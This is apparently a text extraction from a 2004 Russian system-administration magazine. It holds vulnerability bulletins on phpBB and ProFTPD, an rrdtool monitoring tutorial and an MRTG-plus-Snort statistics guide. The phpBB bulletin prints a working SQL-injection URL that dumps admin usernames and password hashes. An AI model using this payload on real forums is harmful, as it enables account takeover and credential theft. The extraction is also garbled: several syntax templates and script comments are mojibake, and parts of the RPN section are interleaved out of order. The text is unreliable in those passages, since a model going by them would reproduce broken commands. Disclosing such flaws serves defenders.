Sql-инъекция в phpBB-форуме Программа: phpBB 2.0.8. Опасность: Высокая. Описание: Уязвимость в проверке правильности входных данных обнаружена в phpBB в privmsg.php-сценарии. Удаленный пользователь может внедрить произвольный SQLкод. Пример: http://localhost/phpbb206c/privmsg.php?folder=savebox&mode= ↵ read&p=99&pm_sql_user=AND%20pm.privmsgs_type=-99%20UNION ↵ %20SELECT%20username,null,user_password,null,null, ↵ null,null,null,null,null, null,null,null,null,null, ↵ ↵ null,null,null,null,null,null,null,null,null,null,null,↵ null,null,null,null,null,null FROM phpbb_users ↵ WHERE user_level=1 LIMIT 1/*/privmsg.php?folder= ↵ savebox&mode=read&p=99&pm_sql_user=AND pm.privmsgs_type= ↵ -99 UNION SELECT 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, ↵ username,0,0,0,0,0,0,0,0,0,user_password FROM ↵ phpbb_users WHERE user_id=2 LIMIT 1/*

URL производителя: http://www.phpbb.com. Решение: Способов устранения обнаруженной уязвимости не существует в настоящее время.

Удаленное переполнение буфера в ProFTPD Программа: ProFTPD до версии 1.2.9rc3. Опасность: Высокая. Описание: Две уязвимости обнаружено в ProFTPD. Удаленный авторизованный пользователь может выполнить произвольный код с root-привилегиями на целевой системе. Два «off-by-one»-переполнения буфера обнаружено в ProFTPD. Одно из переполнений связано с уязвимостью в ASCII mode upload, которая была устранена в сентябре прошлого года в ProFTPD 1.2.9rc2p. Вторая уязвимость обнаружена в функции _xlate_ascii_ write. Удаленный пользователь может представить специально обработанную RETR-команду, чтобы вызвать переполнение буфера и выполнить произвольный код на уязвимой системе с root-привилегиями. URL производителя: http://www.proftpd.org. Решение: Установите обновленную версию программы (1.2.9rc3 ): http://www.proftpd.org. Составил Александр Антипов

15


администрирование

ИСПОЛЬЗОВАНИЕ RRDTOOL ДЛЯ МОНИТОРИНГА СЕТИ

Мониторинг сети и оборудования входит в одну из основных обязанностей администратора. Например, постоянное слежение способно выявить узкие места сети, показать рост ее загрузки, увидеть расход аппаратных ресурсов на серверах, вовремя обнаружит атаку и многое другое. Мониторинг можно делать самыми разнообразными способами, но, наверное, самым удобным является графическое представление данных, полученных от различных счетчиков. В данной статье речь пойдет об одной из наиболее грамотно организованных программ для выполнения таких действий, а именно о rrdtool (http://www.rrdtool.com/).

ВСЕВОЛОД СТАХОВ Rrdtool была разработана в качестве альтернативы mrtg (написанной, кстати, тем же автором). Основной целью автора было ускорение работы и добавление расширенных возможностей по построению графиков, а также устойчивость к сбоям. Rrdtool является очень «чистой» в плане понимания логики работы, но за это пришлось поплатиться отсутствием внешнего файла конфигурации. Этот недостаток пытались исправить во многих fron-end к rrdtool (http://www.rrdtool.com/rrdworld/index.html), но, на мой взгляд, иногда проще написать грамотный скрипт, чем ковыряться со множеством настроек в запутанном конфигурационном файле. Тем более что для сбора данных с различных счетчиков выполняются практически аналогичные действия. Итак, рассмотрим общую логику работы rrdtool. Вначале мы создаем так называемую round-robin database (кольцевая или закольцованная база), в которую можно записывать показания счетчиков. Почему round-robin – т.к. в базе хранится только определенное количество ячеек данных, иначе постоянно увеличивающееся количество поступающих данных просто-напросто переполнит файл данных лишней, устаревшей информацией. Возникает закономерный вопрос – как сделать график, например, за год работы? Было выбрано очень грамот-

16

ное решение – записывать в одну ячейку данных несколько показателей, производя над ними некую статистическую функцию. В каждую round-robin базу данных можно записывать несколько рядов ячеек, принимающих показатели из одного источника, но по-иному комбинируя поступающие данные. Ну а график строится банальным извлечением данных из базы за определенный период. Как все это выглядит на практике? В первую очередь нужно решить, за какими данными мы будем следить. Естественно, на первый план выходит контроль трафика маршрутизаторов, коммутаторов, нагрузка аппаратной части серверов (загрузка ЦП, использование жестких дисков, контроль работы сетевых интерфейсов, объем свободной памяти и прочее), нагрузка на сетевые сервисы, такие как http-, ftp-, proxy-сервера. И первый вопрос, который встает перед нами, – как собирать статистическую информацию. Наиболее общим решением является использование протокола snmp, но это не всегда является приемлемым для некоторых целей, например, статистики http-сервера. Тогда на помощь приходят различные утилиты анализа log-файлов, счетчики программных firewall. Если используется snmp, то для снятия статистики достаточно иметь программы, вроде snmpget и документа-


администрирование цию по OID соответствующего оборудования (например, по оборудованию Cisco всегда можно найти список поддерживаемых OID для конкретного устройства). В противном случае приходится вручную задавать команду для анализа необходимых параметров. Главные критерии в выборе метода – скорость, доступность и надежность. Конечно, необходимо учесть, что ценность статистической информации в ее постоянном контроле, то есть если взглянуть на состояние системы в данный момент, то вряд ли можно понять, справляется ли она с нагрузкой, увидеть рост нагрузки и выявить момент, когда что-либо будет нуждаться в замене или усовершенствовании. Определившись с источником информации, можно приступить к написанию скрипта для rrdtool. Для начала некоторые сведения о структуре скриптов. Прежде всего создаются два или три скрипта, один из которых выполняется однократно, создавая round-robin базы данных при помощи rrdtool create. Далее необходимо периодически запускать скрипт обновления roundrobin databases (далее rrdb), который снимает показания с различных сенсоров и передает их в rrdb при помощи rrdtool-update, кроме того, в этот скрипт можно включить генерацию графиков (rrdtool graph). В некоторых случаях можно вынести генерацию графиков в cgi-скрипт, тогда каждый раз при вызове cgi-скрипта будут генерироваться графики. Второй вариант подходит при использовании mod_expire (модуль apache, позволяющий указать периоды устаревания статических данных, таких как рисунки) и является весьма практичным, т.к. графики обновляются тогда, когда запрашиваются данные, и только в том случае, если старые данные устарели (очень большое преимущество по сравнению c mrtg). При создании скрипта обновления rrdb необходимо учесть, что вызываться он будет весьма часто и при большом количестве собираемых данных может сильно «тормозить» систему. Для таких языков, как perl и python, написаны соответствующие библиотеки для доступа к rrdb, поэтому часто целесообразно использовать именно их. Однако в данной статье я буду ориентироваться все же на shell-скрипты, т.к. наиболее ресурсоемким является вызов внешних программ сбора данных, таких как snmpget. Установка rrdtool проблем вызывать не должна – изучаем http://www.rrdtool.com/download.html и выбираем нужную версию в требуемом формате (для FreeBSD, например, лучше всего использовать систему портов). Rrdtool содержит также несколько сторонних библиотек, таких как libgd (для генерации графики), libpng (для генерации png-изображений), а также zlib (для компрессии изображений). Обязательно нужно указать в аргументах к configure --enable-shared=yes для создания разделяемых библиотек rrdtool для дальнейшего их использования другими программами. Итак, для начала опишу применение утилит из пакета rrdtool. Для создания rrdb используется команда rrdtool create, имеющая следующий синтаксис: rrdtool create filename.rrd --step äëèòåëüíîñòü_øàãà ↵ DS:èìÿ_èñòî÷íèêà_äàííûõ:òèï_èñòî÷íèêà: ↵ èíòåðâàë_îïðåäåëåííîñòè:min:max ↵

№5(18), май 2004

RRA:ôóíêöèÿ_êîíñîëèäàöèè:äîñòîâåðíîñòü: ↵ îòñ÷åòîâ_íà_ÿ÷åéêó:÷èñëî_ÿ÷ååê

Думаю, необходимы некоторые пояснения. Параметр filename.rrd указывает имя файла rrdb (может быть абсолютным или относительным, что, конечно же, решается на этапе подстановки самой shell), --step длительность_шага – задает число секунд между предполагаемыми обновлениями rrdb, далее следуют определения источников данных (DS). Строки DS описывают источники данных, которые будут поступать в rrdb, параметры DSline означают следующее: ! имя_источника_данных – символическое имя DS, по которому к нему будет идти обращение; ! тип_источника – символическая константа, определяющая выбор функции для помещения нового значения в rrdb, допустимые значения: ! COUNTER: для получения текущего значения отсчета предыдущее значение счетчика вычитается из текущего и делится на интервал между отсчетами (например, счетчик переданных байт для измерения скорости). Переполнение счетчика обрабатывается только для типа COUNTER. Счетчики могут хранить только целые 32- или 64-битные числа; ! GAUGE: получаемое значение просто кладется в rrdb (например, для счетчика загрузки CPU или температуры, когда нужна не разность, а само значение); ! DERIVE: COUNTER, который может уменьшаться (защиты от переполнения нет); ! ABSOLUTE: получаемое значение делится на интервал времени между отсчетами, полезно для обнуляющихся при чтении источников данных. ! интервал_определенности(heartbeat) – значение (в секундах), определяющее, сколько времени может пройти, пока при непоступлении новых данных от счетчика в rrdb будут записываться значения Unknown (обычное значение – 2∗длительность_шага); ! min,max: минимальные и максимальные значения, которые могут поступить с сенсора, в качестве значения может быть указан символ U, означающий отсутствие нижнего или верхнего пределов. После опеределения DS для данной rrdb необходимо опеределить один или несколько round-robin архивов, для чего служит параметр RRA. Вообще понятие архива в данном случае означает ряд значений, получаемых для DS и имеющего такие параметры, как число точек отсчета на ячейку ряда и число ячеек в ряду. Все данные, осуществляемые с rrdb происходят не через реальные значения счетчиков, а через RRA, что позволяет вести статистику различных временных периодов и сильно сокращает размер rrdb. Синтаксис RRA-line таков: ! функция_консолидации – функция для объединения данных, получаемых от датчика в ячейку RRA, может принимать следующие значения: ! AVERAGE – высчитывается среднее арифметическое всех отсчетов; ! MAX,MIN – максимальное и минимальное значение отсчетов соответственно; ! TOTAl – сумма всех отсчетов;

17


администрирование ! LAST – последний полученный отсчет.

! достоверность – минимальное число отсчетов со зна-

!

чением Unknown(U), чтобы данная ячейка тоже приняла значение U, указывается в виде правильной десятичной дроби (обычно подходит значение 0.5); отсчетов_на_ячейку и число_ячеек – не нуждаются в комментариях. Приведу пример создания rrdb: rrdtool create /usr/local/var/rrdtool/myrouter.rrd --step 300 ↵ DS:input:COUNTER:600:U:U ↵ DS:output:COUNTER:600:U:U ↵ RRA:AVERAGE:0.5:1:600 ↵ RRA:AVERAGE:0.5:6:700 ↵ RRA:AVERAGE:0.5:24:775 ↵ RRA:AVERAGE:0.5:288:797 ↵ RRA:MAX:0.5:1:600 ↵ RRA:MAX:0.5:6:700 ↵ RRA:MAX:0.5:24:775 ↵ RRA:MAX:0.5:288:797

Эта команда создает rrdb myrouter.rrd для снятия статистики с сетевого интерфейса маршрутизатора, предполагая, что данные в нее будут поступать раз в 5 минут, задаются два источника данных: счетчик принятых и отправленных байт, при этом счетчик не имеет ограничений ни сверху, ни снизу. Создаются также 8 рядов, четыре из которых используют для консолидации данных функцию AVERAGE, а остальные – MAX. При этом создаются следующие промежутки: 600 ячеек по 5 минут, 700 ячеек по 30 минут (5∗6), 775 ячеек по два часа (5∗24), а также 797 ячеек, хранящих статистику отсчетов за день. В данном случае имитируется поведение mrtg, обрабатывающей такие же временные промежутки. Для внесения данных со счетчиков в rrdb используется команда rrdtool update, имеющая достаточно простой формат: rrdtool update èìÿ_rrdb.rrd ↵ âðåìÿ:çíà÷åíèå_DS1[:çíà÷åíèå_DS2[:...]]

Параметр «время» может быть заменен символом «N», что означает текущее время, также допускается задавать время в UNIX-формате (вывод команды: date -u +%s) или в формате at(1). Хотя можно не заморачиваться этими проблемами и просто использовать значение «N». Значения DS указываются в том порядке, в котором они были определены в rrdtool create (допускается альтернативный порядок, но тогда имена DS должны быть перечислены указанием опции: -t ds-name:ds-name:...). В качестве значения можно использовать символ «U», обозначающий неопределенное значение. За один вызов rrdtool update в rrdb может быть передано несколько отсчетов, для чего можно указать несколько строк: time:value[:value], разделенных пробелом. Скрипт, вызывающий rrdtool update, лучше всего запускать через интервал step, указанный при создании rrdb. Приведу пример скрипта, осуществляющего обновление счетчиков принятых и отправленных байт через маршрутизатор, на базе freebsd; также производится мониторинг загрузки процессора: -#!/bin/sh cpuload=`sysctl vm.loadavg | awk '{printf("2k 100 %s *

18

p", $4)}' | dc | awk -F'.' '{print $1}'` inbytes=`ipfw show 1 | awk '{print $3}'` outbytes=`ipfw show 2 | awk '{print $3}'` /usr/local/bin/rrdtool update /usr/local/var/rrdtool ↵ /cpu.rrd N:${cpuload} /usr/local/bin/rrdtool update /usr/local/var ↵ /rrdtool/myrouter.rrd N:$inbytes:$outbytes

Соответственно правила ipfw, обеспечивающие учет трафика, выглядят следующим образом: # ipfw list 00001 count ip from me to any 00002 count ip from any to me

Счетчик загрузки процессора создается следующим образом: rrdtool create /usr/local/var/rrdtool/cpu.rrd -s 60 ↵ DS:cpuusage:GAUGE:600:0:U ↵ RRA:AVERAGE:0.5:1:483840 ↵ RRA:MIN:0.5:1440:1 ↵ RRA:MAX:0.5:1440:1

Отмечу, что для данного счетчика используется тип GAUGE. Далее перейдем к процедуре создания графиков. Для этого используется команда rrdtool graph, на мой взгляд, наиболее сложная по синтаксису и самая тяжелая для понимания. Здесь я привожу достаточно краткое ее описание, за более подробной информацией советую обратиться к странице Сергея Богомолова [1] или к странице man rrdgraph (1). Вызов rrdtool graph в общем имеет следующий формат: rrdtool graph filename [îïöèè] [îïðåäåëåíèÿ ïåðåìåííûõ] ↵ [çàäàíèå ãðàôè÷åñêèõ ýëåìåíòîâ]

Из опций можно выделить следующие наиболее употребительные: ! --start – точка начала отсчета графика; ! --end – конечная временная точка графика; ! --lazy – обновлять график только при устаревании целевого файла (смотрится mtime); ! --imgformat – тип изображения (GIF, PNG или GD); ! --title – заголовок для графика (кириллицу не понимает); ! --lower-limit – нижний лимит значений; ! --upper-limit – верхний лимит значений; ! --rigid – не растягивать график, если встречаются значения, выходящие за верхний или нижний лимиты; ! --width, --height – ширина и высота графика соответственно указывается в пикселях, по умолчанию rrdtool рассчитывает ширину графика, исходя из параметра --step, задающего шаг, и числа отсчетов; ! --color – задание цвета различных элементов графика, используется в виде: TAG:#rgbcolor

где: TAG – один из элементов графика: ! BACK – фон; ! CANVAS – окаймление; ! SHADEA – границы справа и сверху; ! SHADEB – границы слева и снизу; ! GRID – сетка;


администрирование ! MGRID – основная сетка; ! FONT – шрифт; ! FRAME – границы непосредственно графика; ! ARROW – стрелки. Опцию --color можно использовать несколько раз для указания цвета различных элементов. Это, разумеется, неполный список опций, но для большинства задач его вполне хватает. В rrdtool graph есть, собственно говоря, два способа задания переменных. Один – непосредственно из rrdb, а другой – на базе оценки некоторого выражения, составленного в обратной польской нотации. Рассмотрим оба этих способа. Для извлечения данных из rrdb используется следующая конструкция:

! стандартные арифметические (+, -, *, /, %); ! тригонометрические (SIN, COS); ! алгебраические (LOG, EXP, FLOOR, CEIL); ! сравнения (GT, GE (>=), LT, LE (<=), EQ, работают так –

!

! !

DEF:èìÿ_ïåðåìåííîé=rrdb:ds-name:ôóíêöèÿ_êîíñîëèäàöèè

где: ! имя_переменной – символьное имя переменной; ! rrdb – путь к rrdb-файлу; ! ds-name – имя ряда, указанного в rrdtool create параметром DS:name:...; ! функция консолидации – любая из рассмотренных ранее, используется в том случае, если отсчеты происходили чаще, чем разрешение графика (идеальный вариант – один отсчет на один пиксель), если разрешение выше частоты отсчетов, то график масштабируется. Следующий способ задания переменных графика заключается в оценке выражения, записанного в обратной польской нотации (те, кто знаком, например, с калькулятором dc или некоторыми настольными калькуляторами HP, знают, что это такое). Идея записи такова: числа помещаются в стек, операторы извлекают нужное количество чисел из стека, проводят над ними необходимые операции и помещают результат в стек. Например, выражение:

Есть еще ряд операций для работы непосредственно со стеком, но применяются они довольно редко, потому рассматриваться здесь не будут. Теперь перейдем к этапу задания отрисовки графика. Для этого существует ряд параметров. Общий вид директив, задающих линии и области, на графике таков: Òèï:èìÿ_ïåðåìåííîé[#rgbcolor[:ëåãåíäà]]

где: ! #rgbcolor – цвет, заданный в RGB-стандарте, ! легенда – подпись под графиком, описывающая линию или область. Поле «тип» может принимать следующие значения:

! HRULE – горизонтальная линия на графике (идет параллельно шкале времени);

! VRULE – вертикальная линия на графике (переменная !

2 3 +

будет обработано следующим образом: ïîìåñòèòü â ñòåê ÷èñëî 2 2 -> . ïîìåñòèòü â ñòåê ÷èñëî 3 2 -> 3 -> . âçÿòü èç ñòåêà äâà ÷èñëà è ñëîæèòü èõ, ðåçóëüòàò ïîìåñòèòü îáðàòíî â ñòåê 5 -> .

берутся два числа из стека, сравниваются, в стек помещается 0 или 1, например: 1,2,LT поместит в стек 0 (аналогично 1>2)); условный оператор IF (из стека берутся три значения, если последнее истинно (не ноль) – в стек помещается второе выражение, если ложно – то первое, например 1,2,LT,1,0,IF будет расцениваться так, если 1>2, то поместить в стек 1, иначе поместить 0); статистические (MIN, MAX, берут из двух значений из стека минимальное и максимальное соответственно); ограничения (LIMIT, берет три значения из стека: var,low,high – если var не лежит между low и high, то в стек помещается UNKNOWN, иначе – var).

! !

должна быть временного типа, для чего в CDEF существуют функция TIME); LINE{1,2,3} – линия заданной толщины (1 – невидимая, 3 – самая толстая); AREA – закрашенная область; STACK – рисует линию над предыдущей линией (заданной LINE, AREA или другим STACK) на расстоянии, равном значению переменной.

Для вывода текстовой информации под графиком используется директива: GPRINT:èìÿ_ïåðåìåííîé:ôóíêöèÿ_êîíñîëèäàöèè:ôîðìàò

Выражения в обратной польской нотации очень легко обрабатывать программно (для обычной записи необходимо строить бинарное дерево операндов). Теперь вернемся к rrdtool. Запись переменной таким способом выглядит следующим образом: CDEF:èìÿ_ïåðåìåííîé=âûðàæåíèå

Операнды в выраженнии разделяются запятыми. Список операторов довольно широк:

№5(18), май 2004

Параметр «формат» определяет метод вывода чисел с плавающей точкой (%lf - фиксированная запятая, %lg – автовыбор, %le – экспоненциальный) и выравнивание: ! \l – влево; ! \r – вправо; ! \c – в центр; ! \j – по ширине. Например:

19


администрирование %lf\c

Также можно добавлять %s, что вставит дополнительный пробел по вертикали между текстом и легендой, например %lg%s\r. Приведу пример скрипта, который создает графики загрузки CPU и сетевого интерфейса: #/bin/sh WWWPREFIX=/usr/local/www/htdocs/rrdtool RRDPREFIX=/usr/local/var/rrdtool /usr/local/bin/rrdtool graph $WWWPREFIX/cpuusage.png --width 400 --start -1d --end now --title "CPU usage" ↵ DEF:cpuusage=$RRDPREFIX/cpu.rrd:cpuusage:AVERAGE "CDEF:percent=cpuusage" ↵ CDEF:huge=percent,50,GT,percent,0,IF ↵ CDEF:good=percent,50,GT,0,percent,IF ↵ HRULE:100#0000FF:"Maximum allowed" ↵ AREA:good#00FF00:"Good load" ↵ AREA:huge#FF0000:"Overload!!"

↵ ↵

/usr/local/bin/rrdtool graph $WWWPREFIX/myrouter.png ↵ --width 400 --start -1d --end now --title "Network usage" ↵ DEF:inoctets=$RRDPREFIX/myrouter.rrd:input:AVERAGE ↵ DEF:outoctets=$RRDPREFIX/myrouter.rrd:output:AVERAGE ↵ "CDEF:inbits=inoctets,8,*" ↵ "CDEF:outbits=outoctets,8,*" ↵ AREA:inbits#00FF00:"In traffic" ↵ LINE1:outbits#0000FF:"Out traffic"

Графики, сгенерированные данным скриптом, будут выглядеть следующим образом:

В графике загрузки CPU задаются две зоны – нормальная нагрузка и перегрузка. Перегрузка наступает при загруженности процессора на более чем 50 %. В графике загрузки сети происходит перерасчет байт, возвращаемых счетчиками ipfw в биты, в которых принято мерить нагрузку сети. В данном примере генерируются однодневные графики. Изменив переменную $PAST, можно добиться генерации графиков за нужный период времени. Для запуска скрипта обновления и генерации картинок каждую минуту пишем в /etc/crontab следующую строчку: <begin cut> * * * * * root /usr/local/libexec/rrdtools-update.sh > ↵ /dev/null <end cut>

Для более же удобной генерации картинок можно использовать специальный cgi-интерпертатор rrdcgi, позво-

20

ляющий вставлять теги вида: <RRD::COMMAND>. Генерация графика с его помощью будет выглядеть следующим образом: #!/usr/local/bin/rrdcgi <HTML> <HEAD><TITLE>RRDCGI Demo</TITLE></HEAD> <BODY> <H1>Demo of CPU usage graph</H1> <P> <RRD::GRAPH ../htdocs/images/cpu.png --lazy ↵ --width 400 --start -1d --end now --title "CPU usage" ↵ --imginfo '<IMG SRC=/images/%s WIDTH=%lu HEIGHT=%lu >' ↵ DEF:cpuusage=/usr/local/var/rrdtool/cpu.rrd:cpuusage:AVERAGE ↵ "CDEF:percent=cpuusage" ↵ CDEF:huge=percent,50,GT,percent,0,IF ↵ CDEF:good=percent,50,GT,0,percent,IF ↵ HRULE:100#0000FF:"Maximum allowed" ↵ AREA:good#00FF00:"Good load" ↵ AREA:huge#FF0000:"Overload!!"> </P> </BODY> </HTML>

Учтите, что директория, куда производится запись картинок, должна быть доступна для записи пользователю, под которым работает apache (по умолчанию nobody:nobody). Параметр --lazy указан, чтобы не «дергать» rrdgraph при чрезмерно частом обновлении страницы. В данной статье я не буду приводить много примеров графиков. В дебрях Интернета я нашел набор скриптов, который позволит решить большинство проблем и выполнить мониторинг основных параметров FreeBSD-маршрутизатора. Хотя чаще всего бывает полезнее использовать snmp для сбора разнообразной информации из гетерогенной сети. Учтите, что главное в мониторинге – его постоянность, поэтому компьютер, на котором накапливаются статистические данные, должен быть хорошо защищен и стабилен. Только так можно проследить динамику развития инфраструктуры сети и предложить замену узких мест (подойти к начальству и продемонстрировать графики производительности намного эффективнее, нежели пытаться объяснить все на пальцах: «Ну эта, тормозит!»). Rrdtool дает гораздо больше возможностей, нежели mrtg, поэтому совершенствовать графики и скрипты можно постоянно, заставляя их показывать ту информацию, которая нужна. Конечно же, обычно наиболее полезным является сбор статистики каждого устройства за определенный промежуток времени (день, месяц, год). Как вы могли убедиться, реализовать такое поведение не должно составить труда.

Список ссылок: 1. http://www.rrdtool.com/ – основной сайт rrdtool, ссылки на front-end, различные скриншоты, документация и море всего полезного. 2. http://bog.pp.ru/work/rrdtool.html – неплохой перевод документации к rrdtool. 3. http://www.ag0ny.com/graphs/ – набор скриптов для генерации графиков работы FreeBSD маршрутизатора (очень просты и удобны). 4. http://www.rrdtool.com/rrdworld/index.html – список разнообразных front-end к rrdtool, полезны, когда нет времени и желания писать скрипт.



безопасность

MRTG + SNORT

«Лучше один раз увидеть, чем сто раз услышать» гласит пословица. Многие вещи мы лучше понимаем, представляем и запоминаем, если видели их собственными глазами. При этом не всякое нами увиденное воспринимается одинаково хорошо. Очень сильно на процесс восприятия влияет наглядность. В этой статье будет рассмотрен именно такой вариант отображения данных об интенсивности атак, регистрируемых с помощью Snort. В качестве средства отображения используется MRTG.

ПАВЕЛ ЗАКЛЯКОВ 22


безопасность Предполагается, что имеется СОА Snort, данные с одного или нескольких сенсоров которой заносятся в БД инцидентов. Необходимо организовать визуальное отображение среднего уровня атак в зависимости от времени. Для отображения удобнее всего использовать штатное средство большинства Linux-систем – MRTG (The Multi Router Traffic Grapher) [1, 2 стр. 52-53, 3 стр. 316, 4 стр. 208-216]. Предполагается, что MRTG у вас уже установлен. Рассмотрим его настройку. Конфигурационный файл MRTG обычно называется mrtg.cfg и находится в директории /etc/mrtg. Нам необходимо отредактировать или создать заново этот файл, добавив туда следующие строки:

от имени пользователя snort. Выполним подключение командой: # mysql -u snort -p

введя после соответствующий пароль, если он был задан. Далее выберем БД snort командой: mysql> USE snort;

и выполним вышеописанный SQL-запрос. В результате на экране у вас может быть примерно следующее:

mrtg.cfg # Ðàáî÷àÿ äèðåêòîðèÿ mrtg, ãäå ñîçäàþòñÿ ïîääèðåêòîðèè # äëÿ îò÷¸òîâ, îáû÷íî îíà óæå óêàçàíà WorkDir: /var/www/html/mrtg # Âûáîð ÿçûêà – âíîñèò â çàãîëîâîê html-còðîêó # ñ CONTENT="text/html; charset=koi8-r" è ëîêàëèçóåò # html-ôàéëû ñîçäàâàåìûõ îò÷¸òîâ Language: russian # Âíåøíèé ôàéë, êîòîðûé áóäåò ÿâëÿòüñÿ èñòî÷íèêîì äàííûõ # äëÿ mrtg, çàïèñûâàåòñÿ â îáðàòíûõ êàâû÷êàõ Target[snort]:`/etc/mrtg/snort_stat.pl` # Ìàêñèìàëüíîå ÷èñëî àòàê â åäèíèöó âðåìåíè # Çíà÷åíèÿ âûøå èãíîðèðóþòñÿ, íóæíî áîëüøå äëÿ íàãëÿäíîñòè MaxBytes[snort]: 2000 AbsMax[snort]: 2000 # Çàãîëîâîê îêíà áðàóçåðà, òåã <title> â html Title[snort]: Ñòàòèñòèêà àòàê (äàííûå Snort) # Çàãîëîâîê ñòðàíèöû ñ ãðàôèêàìè PageTop[snort]: <H1>Ñòàòèñòèêà àòàê (äàííûå Snort)</H1> # Ïîääèðåêòîðèÿ â WorkDir, ãäå áóäóò ñîçäàâàòüñÿ îò÷¸òû Directory[snort]: snort # Ðàçìåð ãðàôèêîâ ïî øèðèíå â òî÷êàõ XSize[snort]: 600 # Ðàçìåð ãðàôèêîâ ïî âûñîòå â òî÷êàõ YSize[snort]: 160 # Ïîäïèñü ãðàôèêîâ ïî îñè îðäèíàò YLegend[snort]: Attacks per minute # Ïîäïèñü ëåãåíäû, ïîÿñíåíèå, ÷òî èìåííî çà ãðàôèê # íàðèñîâàí òàêèì-òî öâåòîì.(Íåîáõîäèìî, ÷òîáû íå # çàïóòàòüñÿ, êîãäà ãðàôèêîâ íåñêîëüêî) Legend1[snort]: ×èñëî àòàê â ìèíóòó # Óáðàòü ëèøíþþ èíôîðìàöèþ LegendI[snort]:   LegendO[snort]: # Çàäàòü íàïðàâëåíèå ðèñîâàíèÿ ãðàôèêîâ è ÷òî çíà÷åíèÿ, # âûäàâàåìûå ïðîãðàììîé, óêàçàííîé â Target, ÿâëÿþòñÿ # àáñîëþòíûìè Options[snort]: absolute, growright # Ïîäïèñü åäèíèö èçìåðåíèÿ àòàê ShortLegend[snort]: àòàê/ìèí

После того как внесена правка в конфигурационный файл mrtg.cfg, необходимо создать файл, на который мы сделали ссылку в поле Target[snort]: /etc/mrtg/snort_stat.pl. Этот файл будет запускаться по запросу mrtg, и он должен подключаться к БД snort и подсчитывать число атак, например за последние 5 минут, после чего выдавать это значение в требуемом mrtg формате. Реализовать данную идею возможно с помощью следующего SQL-запроса: SELECT count(timestamp) FROM event WHERE unix_timestamp(now())-unix_timestamp(timestamp)<300

который фактически является основным ядром нижеследующего perl-скрипта, который лишь осуществляет автоматизацию процесса подключения и работы с БД и выводит результат в нужном формате. Перед созданием скрипта убедимся, что данный запрос работает правильно, подключившись к БД из консоли

№5(18), май 2004

Если БД с инцидентами у вас достаточно большая, то запрос может выполняться несколько десятков секунд. Убедившись, что число строк в таблице event, время которых лежит в интервале последних 300 секунд, считается правильно, создадим файл snort_stat.pl в директории /etc/mrtg, который будет выполнять все проделанные нами действия в автоматическом режиме. Подробнее о создании подобных скриптов можно прочитать в [7, 8]. Ôàéë snort_stat.pl #!/usr/bin/perl # Ôàéë, âûäàþùèé ÷èñëî àòàê çà ïîñëåäíèå 300 ñåêóíä use DBI; # Õîñò, ãäå çàïóùåíà ÁÄ MySQL $hostname="àäðåñ_õîñòà_MySQL_ñ_ÁÄ_snort"; # Ïîðò, íà êîòîðîì çàïóùåíà ÁÄ MySQL $port="3306"; # Èìÿ ïîëüçîâàòåëÿ, îò êîòîðîãî ïîäêëþ÷àòüñÿ ê ÁÄ $user="snort"; # Ïàðîëü ïîëüçîâàòåëÿ, óêàçàííîãî âûøå $password="ïàðîëü_ïîäêëþ÷åíèÿ_ê_ÁÄ"; # Èìÿ ÁÄ, ê êîòîðîé îñóùåñòâëÿåòñÿ ïîäêëþ÷åíèå $database="snort"; # Ïîäêëþ÷èòüñÿ ê ÁÄ $dbh = DBI->connect("DBI:mysql:$database:$hostname:$port", ↵ $user,$password); # Ïîäãîòîâèòü SQL-çàïðîñ, âûïîëíÿþùèé ïîäñ÷¸ò ÷èñëà àòàê # çà ïîñëåäíèå 300 ñåêóíä íà âûïîëíåíèå $sth = $dbh->prepare("SELECT count(timestamp) FROM event ↵ WHERE unix_timestamp(now())-unix_timestamp(timestamp)<300"); # Âûïîëíèòü çàïðîñ $sth->execute; # Ðåçóëüòàò âûïîëíåííîãî ðàíåå çàïðîñà ïîìåñòèòü â ìàññèâ ref @ref = $sth->fetchrow_array; # Âûâåñòè ïîëó÷åííîå â ðåçóëüòàòå çàïðîñà çíà÷åíèå print $ref[0],"\n"; # Çàâåðøèòü ðàáîòó ñ ÁÄ è îòêëþ÷èòüñÿ îò íå¸. $rc = $sth->finish; $rc = $dbh->disconnect; # Âûâåñòè äîïîëíèòåëüíûå çíà÷åíèÿ, íåîáõîäèìûå äëÿ ñîáëþäåíèÿ # ôîðìàòà ïåðåäà÷è äàííûõ â mrtg print "0\n";

23


безопасность print "0\n"; print "snort\n";

Соответствующие параметры: адреса MySQL-сервера и пр. следует задать самостоятельно, в зависимости от вашей конфигурации. Следует отметить, что сам скрипт и БД могут быть разнесены и выполняться на разных компьютерах, если вы запускаете скрипт на том же самом компьютере, где находится БД, что наиболее вероятно, то без сомнения можно использовать значение «localhost». После указания в файле правильных значений необходимо придать файлу атрибут запускаемости следующей командой: # chmod +x /etc/mrtg/snort_stat.pl

Далее, для того чтобы данный сценарий работал без ошибок, перед его тестовым запуском необходимо убедиться в том, что в системе установлен не только сам perl по тому адресу, что указан в первой строчке, который будет выполнять написанный нами скрипт, но и его пакетырасширения, позволяющие ему взаимодействовать с БД. Это perl-DBD-MySQL и perl-DBI. Проверить их наличие можно командой: # rpm -qa|grep perl

которая выдаст имена всех пакетов в вашей системе, в которых содержится слово perl. В случае отсутствия двух вышеуказанных пакетов, содержащих необходимые нам для работы perl-модули, следует установить их, например для RedHat v.7.3, командами: # rpm -ihv perl-DBI-1.21-1.i386.rpm # rpm -ihv perl-DBD-MySQL-1.2219-6.i386.rpm

(Эти rpm-пакеты с модулями можно найти на втором и третьем компакт-дисках соответственно.) В случае если система обнаружения атак у вас работает и регистрирует атаки, запустив данный скрипт вручную, при правильной его работе вы сможете увидеть примерно следующий результат в виде четырёх строк. 19 0 0 snort

Первая цифра – число атак за последние 5 минут, следует заметить, что она может отличаться от той цифры, что была выдана при ручном вводе соответствующего SQL-запроса ранее, так как время не стоит на месте, то пятиминутные интервалы, в промежутке которых осуществляется подсчёт, будут разные для разных моментов запуска. В случае отсутствия атак первая цифра будет 0. Три последующие строки меняться не будут, что легко заметить из последних строчек выводящего их скрипта. Нужны они лишь для того, чтобы правильно работал mrtg и не ругался. Так как чаще всего mrtg работает с маршрутизаторами, то на месте этих строчек оказываются не пустые значения, а значения входящего и исходящего трафика, uptime соответствующего устройства и его имя.

24

